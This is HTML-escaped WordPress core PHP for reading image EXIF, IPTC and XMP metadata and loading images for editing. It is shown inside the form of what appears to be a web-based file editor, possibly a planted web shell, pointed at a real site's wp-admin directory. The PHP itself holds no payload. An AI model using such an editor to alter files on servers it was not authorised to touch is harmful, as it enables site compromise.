			if ( ! empty( $iptc[&#039;2#055&#039;][0] ) &amp;&amp; ! empty( $iptc[&#039;2#060&#039;][0] ) ) { // Created date and time.
				$meta[&#039;created_timestamp&#039;] = strtotime( $iptc[&#039;2#055&#039;][0] . &#039; &#039; . $iptc[&#039;2#060&#039;][0] );
			}

			if ( ! empty( $iptc[&#039;2#116&#039;][0] ) ) { // Copyright.
				$meta[&#039;copyright&#039;] = trim( $iptc[&#039;2#116&#039;][0] );
			}

			if ( ! empty( $iptc[&#039;2#025&#039;][0] ) ) { // Keywords array.
				$meta[&#039;keywords&#039;] = array_values( $iptc[&#039;2#025&#039;] );
			}
		}
	}

	$meta[&#039;alt&#039;] = wp_get_image_alttext( $file );

	$exif = array();

	/**
	 * Filters the image types to check for exif data.
	 *
	 * @since 2.5.0
	 *
	 * @param int[] $image_types Array of image types to check for exif data. Each value
	 *                           is usually one of the `IMAGETYPE_*` constants.
	 */
	$exif_image_types = apply_filters( &#039;wp_read_image_metadata_types&#039;, array( IMAGETYPE_JPEG, IMAGETYPE_TIFF_II, IMAGETYPE_TIFF_MM ) );

	if ( is_callable( &#039;exif_read_data&#039; ) &amp;&amp; in_array( $image_type, $exif_image_types, true ) ) {
		// Don&#039;t silence errors when in debug mode, unless running unit tests.
		if ( defined( &#039;WP_DEBUG&#039; ) &amp;&amp; WP_DEBUG
			&amp;&amp; ! defined( &#039;WP_RUN_CORE_TESTS&#039; )
		) {
			$exif = exif_read_data( $file );
		} else {
			// Silencing notice and warning is intentional. See https://core.trac.wordpress.org/ticket/42480
			$exif = @exif_read_data( $file );
		}

		if ( ! is_array( $exif ) ) {
			$exif = array();
		}

		$exif_description = &#039;&#039;;
		$exif_usercomment = &#039;&#039;;
		if ( ! empty( $exif[&#039;ImageDescription&#039;] ) ) {
			$exif_description = trim( $exif[&#039;ImageDescription&#039;] );
		}

		if ( ! empty( $exif[&#039;COMPUTED&#039;][&#039;UserComment&#039;] ) ) {
			$exif_usercomment = trim( $exif[&#039;COMPUTED&#039;][&#039;UserComment&#039;] );
		}

		if ( $exif_description ) {
			mbstring_binary_safe_encoding();
			$description_length = strlen( $exif_description );
			reset_mbstring_encoding();
			if ( empty( $meta[&#039;title&#039;] ) &amp;&amp; $description_length &lt; 80 ) {
				// Assume the title is stored in ImageDescription.
				$meta[&#039;title&#039;] = $exif_description;
			}

			// If both user comments and description are present.
			if ( empty( $meta[&#039;caption&#039;] ) &amp;&amp; $exif_usercomment ) {
				if ( ! empty( $meta[&#039;title&#039;] ) &amp;&amp; $exif_description === $meta[&#039;title&#039;] ) {
					$caption = $exif_usercomment;
				} else {
					if ( $exif_description === $exif_usercomment ) {
						$caption = $exif_description;
					} else {
						$caption = trim( $exif_description . &#039; &#039; . $exif_usercomment );
					}
				}
				$meta[&#039;caption&#039;] = $caption;
			}

			if ( empty( $meta[&#039;caption&#039;] ) &amp;&amp; $exif_usercomment ) {
				$meta[&#039;caption&#039;] = $exif_usercomment;
			}

			if ( empty( $meta[&#039;caption&#039;] ) ) {
				$meta[&#039;caption&#039;] = $exif_description;
			}
		} elseif ( empty( $meta[&#039;caption&#039;] ) &amp;&amp; $exif_usercomment ) {
			$meta[&#039;caption&#039;]    = $exif_usercomment;
			$description_length = strlen( $exif_usercomment );
			if ( empty( $meta[&#039;title&#039;] ) &amp;&amp; $description_length &lt; 80 ) {
				$meta[&#039;title&#039;] = trim( $exif_usercomment );
			}
		} elseif ( empty( $meta[&#039;caption&#039;] ) &amp;&amp; ! empty( $exif[&#039;Comments&#039;] ) ) {
			$meta[&#039;caption&#039;] = trim( $exif[&#039;Comments&#039;] );
		}

		if ( empty( $meta[&#039;credit&#039;] ) ) {
			if ( ! empty( $exif[&#039;Artist&#039;] ) ) {
				$meta[&#039;credit&#039;] = trim( $exif[&#039;Artist&#039;] );
			} elseif ( ! empty( $exif[&#039;Author&#039;] ) ) {
				$meta[&#039;credit&#039;] = trim( $exif[&#039;Author&#039;] );
			}
		}

		if ( empty( $meta[&#039;copyright&#039;] ) &amp;&amp; ! empty( $exif[&#039;Copyright&#039;] ) ) {
			$meta[&#039;copyright&#039;] = trim( $exif[&#039;Copyright&#039;] );
		}
		if ( ! empty( $exif[&#039;FNumber&#039;] ) &amp;&amp; is_scalar( $exif[&#039;FNumber&#039;] ) ) {
			$meta[&#039;aperture&#039;] = round( wp_exif_frac2dec( $exif[&#039;FNumber&#039;] ), 2 );
		}
		if ( ! empty( $exif[&#039;Model&#039;] ) ) {
			$meta[&#039;camera&#039;] = trim( $exif[&#039;Model&#039;] );
		}
		if ( empty( $meta[&#039;created_timestamp&#039;] ) &amp;&amp; ! empty( $exif[&#039;DateTimeDigitized&#039;] ) ) {
			$meta[&#039;created_timestamp&#039;] = wp_exif_date2ts( $exif[&#039;DateTimeDigitized&#039;] );
		}
		if ( ! empty( $exif[&#039;FocalLength&#039;] ) ) {
			$meta[&#039;focal_length&#039;] = (string) $exif[&#039;FocalLength&#039;];
			if ( is_scalar( $exif[&#039;FocalLength&#039;] ) ) {
				$meta[&#039;focal_length&#039;] = (string) wp_exif_frac2dec( $exif[&#039;FocalLength&#039;] );
			}
		}
		if ( ! empty( $exif[&#039;ISOSpeedRatings&#039;] ) ) {
			$meta[&#039;iso&#039;] = is_array( $exif[&#039;ISOSpeedRatings&#039;] ) ? reset( $exif[&#039;ISOSpeedRatings&#039;] ) : $exif[&#039;ISOSpeedRatings&#039;];
			$meta[&#039;iso&#039;] = trim( $meta[&#039;iso&#039;] );
		}
		if ( ! empty( $exif[&#039;ExposureTime&#039;] ) ) {
			$meta[&#039;shutter_speed&#039;] = (string) $exif[&#039;ExposureTime&#039;];
			if ( is_scalar( $exif[&#039;ExposureTime&#039;] ) ) {
				$meta[&#039;shutter_speed&#039;] = (string) wp_exif_frac2dec( $exif[&#039;ExposureTime&#039;] );
			}
		}
		if ( ! empty( $exif[&#039;Orientation&#039;] ) ) {
			$meta[&#039;orientation&#039;] = $exif[&#039;Orientation&#039;];
		}
	}

	foreach ( array( &#039;title&#039;, &#039;caption&#039;, &#039;credit&#039;, &#039;copyright&#039;, &#039;camera&#039;, &#039;iso&#039; ) as $key ) {
		if ( $meta[ $key ] &amp;&amp; ! wp_is_valid_utf8( $meta[ $key ] ) ) {
			$meta[ $key ] = utf8_encode( $meta[ $key ] );
		}
	}

	foreach ( $meta[&#039;keywords&#039;] as $key =&gt; $keyword ) {
		if ( ! wp_is_valid_utf8( $keyword ) ) {
			$meta[&#039;keywords&#039;][ $key ] = utf8_encode( $keyword );
		}
	}

	$meta = wp_kses_post_deep( $meta );

	/**
	 * Filters the array of meta data read from an image&#039;s exif data.
	 *
	 * @since 2.5.0
	 * @since 4.4.0 The `$iptc` parameter was added.
	 * @since 5.0.0 The `$exif` parameter was added.
	 *
	 * @param array  $meta       Image meta data.
	 * @param string $file       Path to image file.
	 * @param int    $image_type Type of image, one of the `IMAGETYPE_XXX` constants.
	 * @param array  $iptc       IPTC data.
	 * @param array  $exif       EXIF data.
	 */
	return apply_filters( &#039;wp_read_image_metadata&#039;, $meta, $file, $image_type, $iptc, $exif );
}

/**
 * Gets the alt text from image meta data.
 *
 * @since 7.0.0
 *
 * @param string $file File path to the image.
 * @return string Embedded alternative text.
 */
function wp_get_image_alttext( $file ) {
	$alt_text     = &#039;&#039;;
	$img_contents = file_get_contents( $file );

	if ( false === $img_contents ) {
		return $alt_text;
	}

	// Find the start and end positions of the XMP metadata.
	$xmp_start = strpos( $img_contents, &#039;&lt;x:xmpmeta&#039; );
	$xmp_end   = strpos( $img_contents, &#039;&lt;/x:xmpmeta&gt;&#039; );

	if ( false === $xmp_start || false === $xmp_end ) {
		// No XMP metadata found.
		return $alt_text;
	}

	// Extract the XMP metadata from the JPEG contents
	$xmp_data = substr( $img_contents, $xmp_start, $xmp_end - $xmp_start + 12 );

	// Parse the XMP metadata using DOMDocument.
	$doc = new DOMDocument();
	if ( false === $doc-&gt;loadXML( $xmp_data ) ) {
		// Invalid XML in metadata.
		return $alt_text;
	}

	// Instantiate an XPath object, used to extract portions of the XMP.
	$xpath = new DOMXPath( $doc );

	// Register the relevant XML namespaces.
	$xpath-&gt;registerNamespace( &#039;x&#039;, &#039;adobe:ns:meta/&#039; );
	$xpath-&gt;registerNamespace( &#039;rdf&#039;, &#039;http://www.w3.org/1999/02/22-rdf-syntax-ns#&#039; );
	$xpath-&gt;registerNamespace( &#039;Iptc4xmpCore&#039;, &#039;http://iptc.org/std/Iptc4xmpCore/1.0/xmlns/&#039; );

	$node_list = $xpath-&gt;query( &#039;/x:xmpmeta/rdf:RDF/rdf:Description/Iptc4xmpCore:AltTextAccessibility&#039; );
	if ( $node_list &amp;&amp; $node_list-&gt;count() ) {

		$node = $node_list-&gt;item( 0 );

		// Get the site&#039;s locale.
		$locale = get_locale();

		// Get the alt text accessibility alternative most appropriate for the site language.
		// There are 3 possibilities:
		//
		// 1. there is an rdf:li with an exact match on the site locale.
		// 2. there is an rdf:li with a partial match on the site locale (e.g., site locale is en_US and rdf:li has @xml:lang=&quot;en&quot;).
		// 3. there is an rdf:li with an &quot;x-default&quot; lang.
		//
		// Evaluate in that order, stopping when we have a match.
		$alt_text = $xpath-&gt;evaluate( &quot;string( rdf:Alt/rdf:li[ @xml:lang = &#039;{$locale}&#039; ] )&quot;, $node );
		if ( ! $alt_text ) {
			$alt_text = $xpath-&gt;evaluate( &#039;string( rdf:Alt/rdf:li[ @xml:lang = &quot;&#039; . substr( $locale, 0, 2 ) . &#039;&quot; ] )&#039;, $node );
			if ( ! $alt_text ) {
				$alt_text = $xpath-&gt;evaluate( &#039;string( rdf:Alt/rdf:li[ @xml:lang = &quot;x-default&quot; ] )&#039;, $node );
			}
		}
	}

	return $alt_text;
}

/**
 * Validates that file is an image.
 *
 * @since 2.5.0
 *
 * @param string $path File path to test if valid image.
 * @return bool True if valid image, false if not valid image.
 */
function file_is_valid_image( $path ) {
	$size = wp_getimagesize( $path );
	return ! empty( $size );
}

/**
 * Validates that file is suitable for displaying within a web page.
 *
 * @since 2.5.0
 *
 * @param string $path File path to test.
 * @return bool True if suitable, false if not suitable.
 */
function file_is_displayable_image( $path ) {
	$displayable_image_types = array( IMAGETYPE_GIF, IMAGETYPE_JPEG, IMAGETYPE_PNG, IMAGETYPE_BMP, IMAGETYPE_ICO, IMAGETYPE_WEBP, IMAGETYPE_AVIF );

	$info = wp_getimagesize( $path );
	if ( empty( $info ) ) {
		$result = false;
	} elseif ( ! in_array( $info[2], $displayable_image_types, true ) ) {
		$result = false;
	} else {
		$result = true;
	}

	/**
	 * Filters whether the current image is displayable in the browser.
	 *
	 * @since 2.5.0
	 *
	 * @param bool   $result Whether the image can be displayed. Default true.
	 * @param string $path   Path to the image.
	 */
	return apply_filters( &#039;file_is_displayable_image&#039;, $result, $path );
}

/**
 * Loads an image resource for editing.
 *
 * @since 2.9.0
 *
 * @param int          $attachment_id Attachment ID.
 * @param string       $mime_type     Image mime type.
 * @param string|int[] $size          Optional. Image size. Accepts any registered image size name, or an array
 *                                    of width and height values in pixels (in that order). Default &#039;full&#039;.
 * @return resource|GdImage|false The resulting image resource or GdImage instance on success,
 *                                false on failure.
 */
function load_image_to_edit( $attachment_id, $mime_type, $size = &#039;full&#039; ) {
	$filepath = _load_image_to_edit_path( $attachment_id, $size );
	if ( empty( $filepath ) ) {
		return false;
	}

	switch ( $mime_type ) {
		case &#039;image/jpeg&#039;:
			$image = imagecreatefromjpeg( $filepath );
			break;
		case &#039;image/png&#039;:
			$image = imagecreatefrompng( $filepath );
			break;
		case &#039;image/gif&#039;:
			$image = imagecreatefromgif( $filepath );
			break;
		case &#039;image/webp&#039;:
			$image = false;
			if ( function_exists( &#039;imagecreatefromwebp&#039; ) ) {
				$image = imagecreatefromwebp( $filepath );
			}
			break;
		default:
			$image = false;
			break;
	}

	if ( is_gd_image( $image ) ) {
		/**
		 * Filters the current image being loaded for editing.
		 *
		 * @since 2.9.0
		 *
		 * @param resource|GdImage $image         Current image.
		 * @param int              $attachment_id Attachment ID.
		 * @param string|int[]     $size          Requested image size. Can be any registered image size name, or
		 *                                        an array of width and height values in pixels (in that order).
		 */
		$image = apply_filters( &#039;load_image_to_edit&#039;, $image, $attachment_id, $size );

		if ( function_exists( &#039;imagealphablending&#039; ) &amp;&amp; function_exists( &#039;imagesavealpha&#039; ) ) {
			imagealphablending( $image, false );
			imagesavealpha( $image, true );
		}
	}

	return $image;
}

/**
 * Retrieves the path or URL of an attachment&#039;s attached file.
 *
 * If the attached file is not present on the local filesystem (usually due to replication plugins),
 * then the URL of the file is returned if `allow_url_fopen` is supported.
 *
 * @since 3.4.0
 * @access private
 *
 * @param int          $attachment_id Attachment ID.
 * @param string|int[] $size          Optional. Image size. Accepts any registered image size name, or an array
 *                                    of width and height values in pixels (in that order). Default &#039;full&#039;.
 * @return string|false File path or URL on success, false on failure.
 */
function _load_image_to_edit_path( $attachment_id, $size = &#039;full&#039; ) {
	$filepath = get_attached_file( $attachment_id );

	if ( $filepath &amp;&amp; file_exists( $filepath ) ) {
		if ( &#039;full&#039; !== $size ) {
			$data = image_get_intermediate_size( $attachment_id, $size );

			if ( $data ) {
				$filepath = path_join( dirname( $filepath ), $data[&#039;file&#039;] );

				/**
				 * Filters the path to an attachment&#039;s file when editing the image.
				 *
				 * The filter is evaluated for all image sizes except &#039;full&#039;.
				 *
				 * @since 3.1.0
				 *
				 * @param string       $path          Path to the current image.
				 * @param int          $attachment_id Attachment ID.
				 * @param string|int[] $size          Requested image size. Can be any registered image size name, or
				 *                                    an array of width and height values in pixels (in that order).
				 */
				$filepath = apply_filters( &#039;load_image_to_edit_filesystempath&#039;, $filepath, $attachment_id, $size );
			}
		}
	} elseif ( function_exists( &#039;fopen&#039; ) &amp;&amp; ini_get( &#039;allow_url_fopen&#039; ) ) {
		/**
		 * Filters the path to an attachment&#039;s URL when editing the image.
		 *
		 * The filter is only evaluated if the file isn&#039;t stored locally and `allow_url_fopen` is enabled on the server.
		 *
		 * @since 3.1.0
		 *
		 * @param string|false $image_url     Current image URL.
		 * @param int          $attachment_id Attachment ID.
		 * @param string|int[] $size          Requested image size. Can be any registered image size name, or
		 *                                    an array of width and height values in pixels (in that order).
		 */
		$filepath = apply_filters( &#039;load_image_to_edit_attachmenturl&#039;, wp_get_attachment_url( $attachment_id ), $attachment_id, $size );
	}

	/**
	 * Filters the returned path or URL of the current image.
	 *
	 * @since 2.9.0
	 *
	 * @param string|false $filepath      File path or URL to current image, or false.
	 * @param int          $attachment_id Attachment ID.
	 * @param string|int[] $size          Requested image size. Can be any registered image size name, or
	 *                                    an array of width and height values in pixels (in that order).
	 */
	return apply_filters( &#039;load_image_to_edit_path&#039;, $filepath, $attachment_id, $size );
}

/**
 * Copies an existing image file.
 *
 * @since 3.4.0
 * @access private
 *
 * @param int $attachment_id Attachment ID.
 * @return string|false New file path on success, false on failure.
 */
function _copy_image_file( $attachment_id ) {
	$dst_file = get_attached_file( $attachment_id );
	$src_file = $dst_file;

	if ( ! file_exists( $src_file ) ) {
		$src_file = _load_image_to_edit_path( $attachment_id );
	}

	if ( $src_file ) {
		$dst_file = str_replace( wp_basename( $dst_file ), &#039;copy-&#039; . wp_basename( $dst_file ), $dst_file );
		$dst_file = dirname( $dst_file ) . &#039;/&#039; . wp_unique_filename( dirname( $dst_file ), wp_basename( $dst_file ) );

		/*
		 * The directory containing the original file may no longer
		 * exist when using a replication plugin.
		 */
		wp_mkdir_p( dirname( $dst_file ) );

		if ( ! copy( $src_file, $dst_file ) ) {
			$dst_file = false;
		}
	} else {
		$dst_file = false;
	}

	return $dst_file;
}
</textarea><br><button type='submit'>Save Changes</button></form><a href='?dir=%2Fhome%2Fplanet5%2Fwww%2Fyogitonics.com%2Fwp-admin%2Fincludes'>⬅ Back to Directory</a>